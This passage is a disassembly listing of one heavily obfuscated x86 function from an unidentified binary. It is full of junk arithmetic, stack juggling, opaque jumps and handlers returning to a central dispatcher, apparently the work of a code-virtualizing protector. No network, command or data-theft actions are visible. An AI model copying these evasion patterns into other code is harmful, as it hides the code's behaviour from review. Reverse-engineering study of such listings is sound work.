		add	bl, 0BEh
		jmp	loc_58FFAB
; ---------------------------------------------------------------------------


loc_59417D:				; DATA XREF: sub_58A891+3BFFo
		push	small word ptr [edx]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_594185:				; CODE XREF: sub_58A891+E892j
		push	ebx
		mov	ebx, 471231Fh
		or	ebx, 3C90585Eh
		add	ebx, 8700E36h
		push	edx
		mov	edx, 37D34F3Bh
		add	ebx, edx
		jmp	loc_5936BF
; ---------------------------------------------------------------------------


loc_5941A4:				; CODE XREF: sub_58A891+6B0Dj
					; sub_58A891+A773j
		mov	edx, [esp+14h+var_14]
		jmp	loc_597CEF
; ---------------------------------------------------------------------------


loc_5941AC:				; CODE XREF: sub_58A891+7242j
		bt	word ptr [esp-1Ch+arg_18], ax
		pushf
		jmp	loc_58F26E
; ---------------------------------------------------------------------------


loc_5941B7:				; CODE XREF: sub_58A891+9C80j
		add	ecx, 6A466C95h
		add	ecx, esi
		sub	ecx, 6A466C95h
		pop	esi
		jmp	loc_593823
; ---------------------------------------------------------------------------


loc_5941CB:				; CODE XREF: sub_58A891+A4F5j
		pop	ebp
		jmp	loc_58F397
; ---------------------------------------------------------------------------


loc_5941D1:				; CODE XREF: sub_58A891:loc_590799j
		and	esi, 268E1E2Eh
		jno	loc_593702
		add	esi, 1D3C1437h
		jb	loc_59A478
		mov	bl, 0E9h
		pop	edx


loc_5941EC:				; CODE XREF: sub_58A891+8C22j
		add	[eax], ecx
		jmp	loc_591505
; ---------------------------------------------------------------------------


loc_5941F3:				; CODE XREF: sub_58A891+85F9j
					; sub_58A891+F71Aj
		and	ebx, 33645DA6h
		jp	loc_5915EC
		not	ebx
		push	edx
		mov	edx, 0DE9FAB7Bh
		xor	ebx, edx
		mov	edx, [esp+16h+var_18+2]
		add	esp, 4
		sub	edx, ebx
		mov	ebx, [esp+12h+var_14+2]
		add	esp, 4
		jmp	loc_596359
; ---------------------------------------------------------------------------


loc_59421F:				; CODE XREF: sub_58A891+8E86j
		sub	esp, 4
		mov	[esp+0Ch+var_C], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], ecx
		push	4353h
		mov	[esp+0Ch+var_C], esp
		push	ebx
		push	edi
		mov	edi, 0BC37046h
		neg	edi
		jmp	loc_591903
; ---------------------------------------------------------------------------


loc_594253:				; DATA XREF: sub_58A891+3A9Fo
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	word ptr [esp+6+var_8+2], ax
		pushf
		jmp	loc_58FB9C
; ---------------------------------------------------------------------------


loc_594263:				; CODE XREF: sub_58A891+793Aj
		and	esi, 64F265CEh
		jmp	loc_591BF4
; ---------------------------------------------------------------------------


loc_59426E:				; CODE XREF: sub_58A891+CDCAj
		add	esp, 4
		push	edx
		jmp	loc_590121
; ---------------------------------------------------------------------------


loc_594277:				; DATA XREF: sub_58A891+39A3o
		push	ebp
		jmp	loc_599F4C
; ---------------------------------------------------------------------------


loc_59427D:				; CODE XREF: sub_58A891+407Dj
		mov	bl, byte ptr [esp+4+var_4+2]
		mov	byte ptr [esp+4+var_4+2], al
		jmp	loc_5915B2
; ---------------------------------------------------------------------------


loc_59428A:				; CODE XREF: sub_58A891+E26Bj
		mov	[esp+4+var_4], edi
		jmp	loc_592FCB
; ---------------------------------------------------------------------------


loc_594292:				; CODE XREF: sub_58A891+8ED0j
		push	esi
		jmp	loc_595320
; ---------------------------------------------------------------------------


loc_594298:				; CODE XREF: sub_58A891+6312j
		mov	ebp, 6A4C79A7h
		and	ebp, 97305CDh
		add	ebp, 32631360h
		sub	eax, ebp
		pop	ebp
		pop	ecx
		sub	eax, ebx
		jmp	loc_5922DA
; ---------------------------------------------------------------------------


loc_5942B4:				; CODE XREF: sub_58A891+EB68j
		add	esp, 2
		add	word ptr [esp+8+var_8+2], cx
		push	bp
		mov	bp, 82Bh
		add	word ptr [esp+0Ah+var_8+2], bp
		pop	bp
		push	ax
		mov	ax, 4D71h
		sub	word ptr [esp+0Ah+var_8+2], ax
		pop	ax
		pop	cx
		jmp	loc_59B107
; ---------------------------------------------------------------------------


loc_5942DD:				; CODE XREF: sub_58A891+F769j
		pop	edx
		push	ebx
		mov	ebx, esp
		jmp	loc_590BFF
; ---------------------------------------------------------------------------


loc_5942E6:				; CODE XREF: sub_58A891:loc_59237Dj
		push	0E8Bh
		mov	[esp+8+var_8], esi
		mov	esi, 734934B5h
		sub	ebp, esi
		pop	esi
		or	ebp, 52011215h
		jmp	loc_58F692
; ---------------------------------------------------------------------------


loc_594301:				; CODE XREF: sub_58A891+6918j
		sub	edx, 5019074Ah
		add	edx, eax
		add	edx, 5019074Ah
		mov	eax, [esp+28h+var_28]
		add	esp, 4
		dec	edx
		jo	loc_59BAF5
		inc	edx
		jz	loc_59A09F
		dec	edx
		jge	loc_59ACB7
		sub	edx, 1C8706Eh
		add	esi, edx
		mov	edx, [esp+24h+var_24]
		add	esp, 4
		push	esp


loc_59433C:				; CODE XREF: sub_58A891+B98Cj
		push	esp
		pop	ecx
		add	ecx, 4
		push	edi
		mov	edi, 0AC85698h
		shl	edi, 6
		shl	edi, 4
		not	edi
		sub	edi, 0DEA59FFBh
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp+24h+var_24]
		pop	esp
		mov	ecx, [esp+20h+var_20]
		jmp	loc_5974D5
; ---------------------------------------------------------------------------


loc_594367:				; CODE XREF: sub_58A891+F72Fj
		push	eax
		mov	eax, 95870F7h
		jmp	loc_59B6E9
; ---------------------------------------------------------------------------


loc_594372:				; CODE XREF: sub_58A891+418Ej
		sub	esi, edi
		jmp	loc_594DAE
; ---------------------------------------------------------------------------


loc_594379:				; CODE XREF: sub_58A891+4745j
		mov	[esp+44h+var_44], ecx
		jmp	loc_58FC35
; ---------------------------------------------------------------------------


loc_594381:				; DATA XREF: sub_58A891+3A1Fo
		mov	cx, word ptr [esp+8+var_8]
		jmp	loc_593DE8
; ---------------------------------------------------------------------------


loc_59438A:				; CODE XREF: sub_58A891+6FFEj
		and	ecx, esi
		pop	esi
		shl	ecx, 1
		inc	ecx
		sub	ecx, 0E67DC537h
		add	eax, ecx
		jmp	loc_599D4B
; ---------------------------------------------------------------------------


loc_59439D:				; CODE XREF: sub_58A891+4CF7j
		add	esp, 4
		jmp	loc_59AFE9
; ---------------------------------------------------------------------------


loc_5943A5:				; CODE XREF: sub_58A891+DDA6j
		mov	esp, [esp+3Ch+var_3C]
		mov	[esp+3Ch+var_3C], edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+40h+var_40]
		pop	esp
		mov	[esp+3Ch+var_3C], edx
		jmp	loc_597FBB
; ---------------------------------------------------------------------------


loc_5943C6:				; CODE XREF: sub_58A891+C8CBj
		mov	[esp+3Ch+var_3C], ebx
		push	63D1h
		mov	[esp+40h+var_40], ebp
		push	27B959DEh
		mov	ebp, [esp+44h+var_44]
		add	esp, 4
		jmp	loc_59B179
; ---------------------------------------------------------------------------


loc_5943E1:				; CODE XREF: sub_58A891+10721j
		add	byte ptr [esp+40h+var_40], 0A6h
		sub	byte ptr [esp+40h+var_40], bh
		sub	byte ptr [esp+40h+var_40], 0A6h
		mov	bh, byte ptr [esp+40h+var_40]
		push	eax
		jmp	loc_59AA4C
; ---------------------------------------------------------------------------


loc_5943F5:				; DATA XREF: sub_58A891+3AD3o
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp+6+var_8+2], cl
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_594405:				; CODE XREF: sub_58A891+7278j
		add	esp, 4
		jmp	loc_5998D1
; ---------------------------------------------------------------------------


loc_59440D:				; CODE XREF: sub_58A891+10504j
		add	esi, 4
		push	6BCAh
		mov	[esp-14h+arg_A+2], ebx
		push	6C295E04h
		mov	ebx, [esp+0]
		add	esp, 4
		not	ebx
		inc	ebx
		push	edx
		push	ecx
		mov	ecx, 24821720h
		jmp	loc_597FE3
; ---------------------------------------------------------------------------


loc_594438:				; CODE XREF: sub_58A891+93A1j
		pop	edi
		add	[esp+8+var_4], ebx
		pop	ebx
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		push	edi
		jmp	loc_595D3C
; ---------------------------------------------------------------------------


loc_59444D:				; CODE XREF: sub_58A891+FADEj
		add	ebp, 60698F44h
		jmp	loc_592CF9
; ---------------------------------------------------------------------------


loc_594458:				; CODE XREF: sub_58A891+67A1j
					; sub_58A891+B52Fj
		push	ebp
		jmp	loc_595EF2
; ---------------------------------------------------------------------------


loc_59445E:				; CODE XREF: sub_58A891+71A6j
		mov	[esp+50h+var_50], ecx
		jmp	loc_597A4E
; ---------------------------------------------------------------------------
word_594466	dw 52ACh		; DATA XREF: sub_58A891+3BD7o
		dd 0E28073B2h, 51D2F6E0h, 0EA3063B5h, 80C2FE59h, 0EC81A9F2h
		dd 2, 240C8966h, 0E8009FB5h, 3EE95966h
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59448F:				; CODE XREF: sub_58A891+ED3Bj
		add	esi, edx
		pop	edx
		add	esi, 67E8F7AEh
		add	ebp, esi
		pop	esi
		add	ebp, 4
		jmp	loc_594706
; ---------------------------------------------------------------------------


loc_5944A3:				; CODE XREF: sub_58A891+9E70j
		add	esp, 2
		add	bl, 0CAh
		sub	bl, 0ABh
		jmp	loc_58FD7C
; ---------------------------------------------------------------------------


loc_5944B4:				; CODE XREF: sub_58A891:loc_59111Dj
					; sub_58A891+6A09j
		push	edi
		mov	edi, 0EC4CF95Ch
		add	ebp, edi
		pop	edi
		jmp	loc_58E939
; ---------------------------------------------------------------------------


loc_5944C2:				; CODE XREF: sub_58A891+6E02j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5944C7:				; CODE XREF: sub_58A891+AD34j
		mov	bl, 33h
		xor	ah, bl
		mov	bx, word ptr [esp+50h+var_50]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 2
		xchg	ebx, [esp+54h+var_54]
		pop	esp
		mov	ch, ah
		pop	eax
		sub	esp, 2
		mov	word ptr [esp+50h+var_50], cx
		xchg	ch, byte ptr [esp+50h+var_50+1]
		not	ch
		xchg	ch, byte ptr [esp+50h+var_50+1]
		pop	cx
		not	ch
		inc	ch
		jmp	loc_593604
; ---------------------------------------------------------------------------


loc_5944FE:				; CODE XREF: sub_58A891+10333j
		add	esp, 4
		pop	[esp+4Ah+var_4C+2]
		jmp	loc_592C34
; ---------------------------------------------------------------------------


loc_59450C:				; CODE XREF: sub_58A891+DF26j
		mov	esi, 0E030A30Dh
		jmp	loc_5941B7
; ---------------------------------------------------------------------------


loc_594516:				; CODE XREF: sub_58A891+81B4j
		mov	al, 0Dh
		shl	al, 6
		jp	loc_596025
		dec	al
		jno	loc_5915D5
		inc	al
		jns	loc_599CEF
		neg	al
		mov	dl, cl


loc_594535:				; CODE XREF: sub_58A891+DB8Fj
		mov	[esp+8+var_8], ebp
		mov	ebp, 7C89768Bh
		and	ebp, 25C6792Fh
		dec	ebp
		sub	ebp, 5D5D4FBDh
		shr	ebp, 8
		jmp	loc_58F5AE
; ---------------------------------------------------------------------------


loc_594552:				; CODE XREF: sub_58A891+77EDj
		sub	esp, 4
		mov	[esp+10h+var_10], eax
		mov	eax, 7CB34F4h
		jmp	loc_58F4B8
; ---------------------------------------------------------------------------


loc_594562:				; CODE XREF: sub_58A891+AE9Ej
		inc	edx
		jmp	loc_594C5E
; ---------------------------------------------------------------------------


loc_594568:				; CODE XREF: sub_58A891+E687j
		add	esp, 4
		shr	ecx, 5
		xor	ecx, 7FBE435h
		push	30C3h
		mov	[esp+10h+var_10], ecx
		mov	ebp, [esp+10h+var_10]
		push	ebx
		mov	ebx, esp
		push	eax
		mov	eax, 54320A37h
		add	eax, 1A432146h
		or	eax, 6600632Ch
		xor	eax, 49906B1Ah
		shr	eax, 1
		or	eax, 7C86C2Fh
		sub	eax, 17FAEC3Bh
		add	ebx, eax
		pop	eax
		add	ebx, 4
		jmp	loc_593030
; ---------------------------------------------------------------------------


loc_5945AE:				; CODE XREF: sub_58A891+5F32j
		jmp	loc_598CD8
; ---------------------------------------------------------------------------


loc_5945B3:				; CODE XREF: sub_58A891+EE0Aj
		sub	bl, dl
		pop	edx
		jmp	loc_58F38F
; ---------------------------------------------------------------------------


loc_5945BB:				; CODE XREF: sub_58A891+C09Cj
		sub	eax, 22C52D0Ch
		sub	eax, edi
		jmp	loc_59256C
; ---------------------------------------------------------------------------


loc_5945C7:				; CODE XREF: sub_58A891+FCAEj
		add	ch, 6Bh
		sub	bl, ch
		mov	ecx, [esp+18h+var_18]
		add	esp, 4
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_58F606
; ---------------------------------------------------------------------------


loc_5945DD:				; CODE XREF: sub_58A891+F8A3j
		add	edi, 4
		add	edi, 4
		push	edi
		push	[esp+1Ch+var_18]
		pop	edi
		pop	[esp+1Ch+var_1C]
		jmp	loc_591025
; ---------------------------------------------------------------------------


loc_5945F7:				; CODE XREF: sub_58A891+8B36j
					; sub_58A891+9551j
		add	ecx, eax
		jmp	loc_595311
; ---------------------------------------------------------------------------


loc_5945FE:				; CODE XREF: sub_58A891+BC37j
		mov	ecx, 234B577Ch
		inc	ecx
		add	ecx, 0F30DDA12h
		mov	ebp, ecx
		pop	ecx
		xor	ebp, 1B465613h
		or	ebp, 38F0CD8h
		jmp	loc_595CB4
; ---------------------------------------------------------------------------


loc_59461E:				; CODE XREF: sub_58A891+8441j
		pop	ebx
		rep movsd
		add	esp, [edx+38h]
		push	esi
		push	edi
		mov	edi, 13171D6Fh
		shl	edi, 6
		jmp	loc_597B6D
; ---------------------------------------------------------------------------


loc_594633:				; CODE XREF: sub_58A891+AE33j
		mov	[esp+1Ch+var_1C], ebp
		mov	ebp, 2EA07EFCh
		jmp	loc_598B01
; ---------------------------------------------------------------------------


loc_594640:				; CODE XREF: sub_58A891+6557j
		mov	eax, [esp+18h+var_18]
		jmp	loc_595D75
; ---------------------------------------------------------------------------


loc_594648:				; CODE XREF: sub_58A891+BDC8j
		shl	al, 5
		jmp	loc_590A11
; ---------------------------------------------------------------------------


loc_594650:				; CODE XREF: sub_58A891+92ACj
		push	eax
		jmp	loc_598489
; ---------------------------------------------------------------------------


loc_594656:				; CODE XREF: sub_58A891+5356j
		pop	edx
		jmp	loc_59048B
; ---------------------------------------------------------------------------


loc_59465C:				; CODE XREF: sub_58A891+3F13j
		sub	edi, 65755089h
		sub	edi, 31070F07h
		sub	esi, edi
		mov	edi, [esp+48h+var_48]
		jmp	loc_596531
; ---------------------------------------------------------------------------


loc_594672:				; CODE XREF: sub_58A891+455Dj
		pop	ebp
		jmp	loc_595CE6
; ---------------------------------------------------------------------------


loc_594678:				; CODE XREF: sub_58A891+E53Bj
		push	0DE99EE8Ch
		pop	ecx
		xor	ecx, esi
		pop	esi
		xor	edx, ecx
		jmp	loc_593094
; ---------------------------------------------------------------------------


loc_594688:				; CODE XREF: sub_58A891+64D5j
		add	esi, eax
		push	[esp+10h+var_10]
		mov	eax, [esp+14h+var_14]
		add	esp, 4
		add	esp, 4
		add	esi, 2
		push	esi
		jmp	loc_58F866
; ---------------------------------------------------------------------------


loc_5946A8:				; CODE XREF: sub_58A891+DC81j
		inc	dh
		dec	dh
		jmp	loc_597877
; ---------------------------------------------------------------------------


loc_5946B1:				; CODE XREF: sub_58A891+5311j
		shl	ecx, 5
		push	edx
		mov	edx, 0A2D0379h
		push	edi
		mov	edi, 2DC85453h
		jmp	loc_595BB0
; ---------------------------------------------------------------------------


loc_5946C5:				; CODE XREF: sub_58A891+F3CDj
		sub	ebx, 780E4D77h
		pop	esi
		xchg	ebx, [esp+48h+var_48]
		mov	esp, [esp+48h+var_48]
		jmp	loc_592358
; ---------------------------------------------------------------------------


loc_5946D7:				; CODE XREF: sub_58A891+E15Aj
		add	al, 3
		jmp	loc_594152
; ---------------------------------------------------------------------------


loc_5946DE:				; CODE XREF: sub_58A891+10788j
		sub	bh, dl
		jmp	loc_597232
; ---------------------------------------------------------------------------


loc_5946E5:				; CODE XREF: sub_58A891+FEB9j
		pop	edi
		add	esp, 4
		add	ecx, edx
		pop	edx
		jmp	loc_591F1E
; ---------------------------------------------------------------------------


loc_5946F1:				; CODE XREF: sub_58A891+6517j
		add	esp, 4
		add	bl, 49h
		sub	al, bl
		pop	ebx
		mov	cx, word ptr [esp+8+var_8]
		jmp	loc_5944A3
; ---------------------------------------------------------------------------


loc_594706:				; CODE XREF: sub_58A891+9C0Dj
		xchg	ebp, [esp+48h+var_48]
		mov	esp, [esp+48h+var_48]
		jmp	loc_597D29
; ---------------------------------------------------------------------------


loc_594711:				; CODE XREF: sub_58A891+FF51j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+4Ch+var_4C]
		jmp	loc_59986F
; ---------------------------------------------------------------------------


loc_594728:				; CODE XREF: sub_58A891+7882j
		mov	ebp, 1
		sub	edx, ebp
		jmp	loc_59106D
; ---------------------------------------------------------------------------


loc_594734:				; CODE XREF: sub_58A891+54BBj
		add	ebx, 4
		jmp	loc_596E3D
; ---------------------------------------------------------------------------


loc_59473F:				; DATA XREF: sub_58A891+3AC3o
		pop	dword ptr fs:[edx]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_594747:				; CODE XREF: sub_58A891+FA52j
		sub	ebp, 987D79F7h
		push	esi
		jmp	loc_5991C5
; ---------------------------------------------------------------------------


loc_594753:				; CODE XREF: sub_58A891+3D0Ej
		sub	[edi+24h], ebp
		mov	ebp, [esp+34h+var_34]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_593C8E
; ---------------------------------------------------------------------------


loc_594767:				; CODE XREF: sub_58A891+404Aj
		jle	loc_59B0A9
		jmp	loc_591D91
; ---------------------------------------------------------------------------


loc_594772:				; CODE XREF: sub_58A891+F9B5j
		pop	ecx
		jmp	loc_59ADE0
; ---------------------------------------------------------------------------


loc_594778:				; CODE XREF: sub_58A891+C5A7j
		push	ecx
		push	esi
		jmp	loc_59A9E6
; ---------------------------------------------------------------------------


loc_59477F:				; CODE XREF: sub_58A891+9701j
		push	eax
		mov	ah, 39h
		neg	ah
		shr	ah, 3
		jmp	loc_597AE8
; ---------------------------------------------------------------------------


loc_59478C:				; CODE XREF: sub_58A891+EEDDj
		push	edx
		jmp	loc_593969
; ---------------------------------------------------------------------------


loc_594792:				; CODE XREF: sub_58A891+CCC6j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+50h+var_50]
		jmp	loc_59147D
; ---------------------------------------------------------------------------


loc_5947A5:				; CODE XREF: sub_58A891+F145j
		push	esp
		jmp	loc_596364
; ---------------------------------------------------------------------------


loc_5947AB:				; CODE XREF: sub_58A891+4947j
		pop	dx
		jmp	loc_59ACD9
; ---------------------------------------------------------------------------


loc_5947B2:				; CODE XREF: sub_58A891+F46Aj
		dec	esi
		jmp	loc_592122
; ---------------------------------------------------------------------------


loc_5947B8:				; CODE XREF: sub_58A891+78DAj
		add	esp, 4
		push	eax
		mov	al, 1Ch
		push	dx
		mov	dl, al
		inc	dl
		mov	al, dl
		pop	dx
		add	al, 79h
		xor	al, 0A4h
		xor	al, 0F6h
		add	bl, 7Eh
		add	bl, al
		sub	bl, 7Eh
		mov	eax, [esp+12h+var_14+2]
		add	esp, 4
		add	bl, al
		jmp	loc_59B6BA
; ---------------------------------------------------------------------------


loc_5947E6:				; CODE XREF: sub_58A891+E70Ej
		sub	dl, 0DEh
		mov	al, dl
		pop	edx
		mov	bl, 6
		jmp	loc_58FE08
; ---------------------------------------------------------------------------


loc_5947F3:				; CODE XREF: sub_58A891+AD18j
		xchg	ebx, [esp+0Ah+var_C+2]
		jmp	loc_59023F
; ---------------------------------------------------------------------------


loc_5947FB:				; CODE XREF: sub_58A891+7172j
		xor	edi, 6ADB65A9h
		sub	esp, 4
		jmp	loc_592B48
; ---------------------------------------------------------------------------


loc_59480C:				; CODE XREF: sub_58A891+3DA2j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+44h+var_44]
		pop	esp
		jmp	loc_59953F
; ---------------------------------------------------------------------------


loc_594820:				; CODE XREF: sub_58A891+ECE3j
		and	edx, 49D6113Eh
		sub	edx, 2FF20009h
		sub	ebx, edx
		pop	edx
		jmp	loc_590D6B
; ---------------------------------------------------------------------------


loc_594834:				; CODE XREF: sub_58A891+C703j
		mov	[esp+3Ch+var_3C], ecx
		mov	ecx, 2
		jmp	loc_595B41
; ---------------------------------------------------------------------------


loc_594841:				; CODE XREF: sub_58A891+A990j
		mov	esp, [esp+3Ch+var_3C]
		mov	[esp+3Ch+var_3C], ebp
		push	eax
		push	ebp
		mov	ebp, ebx
		mov	eax, ebp
		pop	ebp
		mov	ebp, eax
		jmp	loc_59B538
; ---------------------------------------------------------------------------


loc_594855:				; CODE XREF: sub_58A891+F24Dj
		add	ecx, 1E147C44h
		pop	ebp
		xchg	ecx, [esp+3Ch+var_3C]
		pop	esp
		mov	[esp+38h+var_38], edx
		mov	dl, 0A2h
		jmp	loc_5928FE
; ---------------------------------------------------------------------------


loc_59486A:				; CODE XREF: sub_58A891+F935j
		shl	esi, 5
		push	ecx
		mov	ecx, 6EB760CBh
		push	ebx
		mov	ebx, 318C0E98h
		dec	ebx
		xor	ebx, 63277B72h
		and	ecx, ebx
		jmp	loc_59175A
; ---------------------------------------------------------------------------


loc_594887:				; DATA XREF: sub_58A891+3B1Fo
		push	[esp+8+var_8]
		mov	eax, [esp+0Ch+var_C]
		jmp	loc_59699A
; ---------------------------------------------------------------------------


loc_594892:				; CODE XREF: sub_58A891+5BF5j
		pop	esp
		movsx	ecx, al
		push	384Bh
		mov	[esp+1Ch+var_1C], ecx
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5948A3:				; CODE XREF: sub_58A891+A366j
					; sub_58A891+B2E2j
		add	ebp, 4
		xchg	ebp, [esp+1Ch+var_1C]
		pop	esp
		jmp	loc_5908BC
; ---------------------------------------------------------------------------


loc_5948AF:				; CODE XREF: sub_58A891+96A1j
		pop	ebp
		add	esp, 4
		jmp	locret_590302
; ---------------------------------------------------------------------------


loc_5948BB:				; CODE XREF: sub_58A891+617Bj
		add	ebp, 4
		add	ebp, 4
		jmp	loc_593665
; ---------------------------------------------------------------------------


loc_5948CC:				; CODE XREF: sub_58A891+AB39j
		push	3A65416Ah
		pop	ecx
		jmp	loc_596CA8
; ---------------------------------------------------------------------------


loc_5948D7:				; CODE XREF: sub_58A891+4DD2j
		xchg	edi, [esp+44h+var_44]
		jmp	loc_59250C
; ---------------------------------------------------------------------------


loc_5948DF:				; CODE XREF: sub_58A891+ECFAj
		sub	al, bh
		jmp	loc_5976DE
; ---------------------------------------------------------------------------


loc_5948E6:				; CODE XREF: sub_58A891+E615j
		push	ebp
		mov	ebp, 19272543h
		dec	ebp
		xor	ebp, 52F0409Ch
		jmp	loc_597EC0
; ---------------------------------------------------------------------------


loc_5948F8:				; CODE XREF: sub_58A891+B664j
		push	eax
		push	30E276DEh
		pop	eax
		xor	eax, 2DCA6ABDh
		jl	loc_59234C
		not	eax
		sub	eax, 8751A418h
		jmp	loc_599022
; ---------------------------------------------------------------------------


loc_594916:				; CODE XREF: sub_58A891+F63Fj
		sub	esp, 4
		jmp	loc_59231C
; ---------------------------------------------------------------------------


loc_594921:				; CODE XREF: sub_58A891+5ECDj
		pop	ebx
		jmp	loc_59A1C0
; ---------------------------------------------------------------------------


loc_594927:				; CODE XREF: sub_58A891+1073Dj
		mov	ebp, 5B1D34B3h
		jmp	loc_595054
; ---------------------------------------------------------------------------


loc_594931:				; CODE XREF: sub_58A891+106E9j
		sub	bl, al
		sub	bl, 37h
		sub	bl, 0D1h
		jmp	loc_59846A
; ---------------------------------------------------------------------------


loc_59493E:				; DATA XREF: sub_58A891+3A03o
		lodsd
		cmp	dword ptr [edi+20h], 0
		jz	loc_5957B2
		add	esi, 7EE7444Ah
		push	ecx
		mov	ecx, 7FC267FBh
		add	esi, ecx
		pop	ecx
		jmp	loc_59A757
; ---------------------------------------------------------------------------


loc_59495D:				; CODE XREF: sub_58A891+6A0Fj
		mov	eax, 0E83752Ah
		inc	eax
		jmp	loc_5902A1
; ---------------------------------------------------------------------------


loc_594968:				; CODE XREF: sub_58A891+5F19j
		mov	ecx, ebx
		jmp	loc_58FBA1
; ---------------------------------------------------------------------------


loc_59496F:				; CODE XREF: sub_58A891+5AA6j
		mov	ebx, esp
		push	ecx
		mov	ecx, 1C50280Dh
		jmp	loc_58E5C5
; ---------------------------------------------------------------------------


loc_59497C:				; CODE XREF: sub_58A891+F325j
		push	3F68h
		mov	[esp+30h+var_30], esi
		pop	edi
		mov	esi, [esp+2Ch+var_2C]
		add	esp, 4
		sub	edi, 8F86F97Eh
		jmp	loc_59124F
; ---------------------------------------------------------------------------


loc_594996:				; CODE XREF: sub_58A891+100D4j
		add	ebx, 4
		xchg	ebx, [esp+28h+var_28]
		pop	esp
		add	al, dl
		jmp	loc_598360
; ---------------------------------------------------------------------------


loc_5949A7:				; CODE XREF: sub_58A891+10568j
		pop	[esp+24h+var_24]
		push	eax
		not	[esp+24h+var_24]
		pop	eax
		xor	[esp+20h+var_20], eax
		xor	eax, [esp+20h+var_20]
		xor	[esp+20h+var_20], eax
		mov	ebp, [esp+20h+var_20]
		add	esp, 4
		xchg	eax, ebp
		push	edi
		jmp	loc_59BB66
; ---------------------------------------------------------------------------


loc_5949C8:				; CODE XREF: sub_58A891+546Dj
		push	eax
		sub	esp, 4
		mov	[esp+48h+var_48], ebx
		jmp	loc_599EFB
; ---------------------------------------------------------------------------


loc_5949D7:				; CODE XREF: sub_58A891+A1F3j
		pop	ebx
		add	eax, 331754B1h
		add	eax, ebp
		jmp	loc_595C48
; ---------------------------------------------------------------------------


loc_5949E4:				; CODE XREF: sub_58A891+FC05j
		push	esi
		jmp	loc_595661
; ---------------------------------------------------------------------------


loc_5949EA:				; CODE XREF: sub_58A891+D642j
		and	ch, 0BDh
		jl	loc_591FE1
		push	edx
		mov	dl, 69h
		jmp	loc_5965FA
; ---------------------------------------------------------------------------


loc_5949FB:				; CODE XREF: sub_58A891+AAABj
		mov	[esp+4Ch+var_4C], ebx
		jmp	loc_59B093
; ---------------------------------------------------------------------------


loc_594A03:				; CODE XREF: sub_58A891+69F7j
		mov	ax, 0
		jmp	loc_58EFBD
; ---------------------------------------------------------------------------


loc_594A0C:				; CODE XREF: sub_58A891+EFEEj
		xchg	eax, esi
		xor	eax, esi
		jmp	loc_590888
; ---------------------------------------------------------------------------


loc_594A14:				; CODE XREF: sub_58A891+C197j
		push	[esp+2+var_4+2]
		jmp	loc_58EC77
; ---------------------------------------------------------------------------


loc_594A1C:				; CODE XREF: sub_58A891+BF49j
		mov	[esp+6+var_8+2], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+6+var_8+2]
		mov	esp, [esp+6+var_8+2]
		pop	[esp+6+var_8+2]
		jmp	loc_58FD03
; ---------------------------------------------------------------------------


loc_594A38:				; DATA XREF: sub_58A891+3B77o
		mov	ax, word ptr [esp+8+var_8]
		push	1938h
		mov	[esp+0Ch+var_C], ebp
		jmp	loc_59AABB
; ---------------------------------------------------------------------------


loc_594A49:				; CODE XREF: sub_58A891+CB04j
		mov	edi, [esp+0Ch+var_C]
		jmp	loc_59BA93
; ---------------------------------------------------------------------------


loc_594A51:				; CODE XREF: sub_58A891+F109j
		mov	edx, 64CD62C4h
		shl	edx, 7
		jmp	loc_5910C7
; ---------------------------------------------------------------------------


loc_594A5E:				; CODE XREF: sub_58A891:loc_58FE42j
		add	ecx, 21EB54C5h
		jns	loc_591298
		neg	ecx
		jmp	loc_58EA64
; ---------------------------------------------------------------------------
		push	eax
		mov	ah, bh
		push	eax


loc_594A75:				; CODE XREF: sub_58A891+CED4j
		shr	esi, 1
		jmp	loc_594E38
; ---------------------------------------------------------------------------


loc_594A7C:				; CODE XREF: sub_58A891+10FF3j
		sub	ebx, 6CFF2933h
		mov	ebp, ebx
		jmp	loc_5949D7
; ---------------------------------------------------------------------------


loc_594A89:				; CODE XREF: sub_58A891+5500j
		xor	ebp, 50084371h
		push	edi
		mov	edi, 482C270Bh
		jmp	loc_590B3B
; ---------------------------------------------------------------------------


loc_594A9A:				; CODE XREF: sub_58A891+D5BCj
		pop	edi
		and	[edi+1Ch], ecx
		mov	ecx, [esp+14h+var_14]
		add	esp, 4
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_594AAC:				; CODE XREF: sub_58A891+552Ej
		sub	esi, edi
		pop	edi
		mov	ebx, 2C86354Bh
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5933A1
; ---------------------------------------------------------------------------


loc_594AC2:				; CODE XREF: sub_58A891+6248j
		mov	edi, eax
		jmp	loc_59A9B3
; ---------------------------------------------------------------------------


loc_594AC9:				; CODE XREF: sub_58A891+10B40j
		mov	ebx, [esp+14h+var_14]
		add	esp, 4
		inc	ebx
		jmp	loc_592467
; ---------------------------------------------------------------------------


loc_594AD5:				; CODE XREF: sub_58A891+A7A6j
		add	bx, 55B3h
		jns	loc_59ACE4
		inc	bx
		push	eax
		mov	ax, 1DE8h
		add	ax, 533Bh
		add	ax, 1F77h
		jmp	loc_5905CF
; ---------------------------------------------------------------------------


loc_594AF4:				; CODE XREF: sub_58A891+8685j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+48h+var_48]
		pop	esp
		sub	esi, 1CEB6C08h
		add	esi, eax
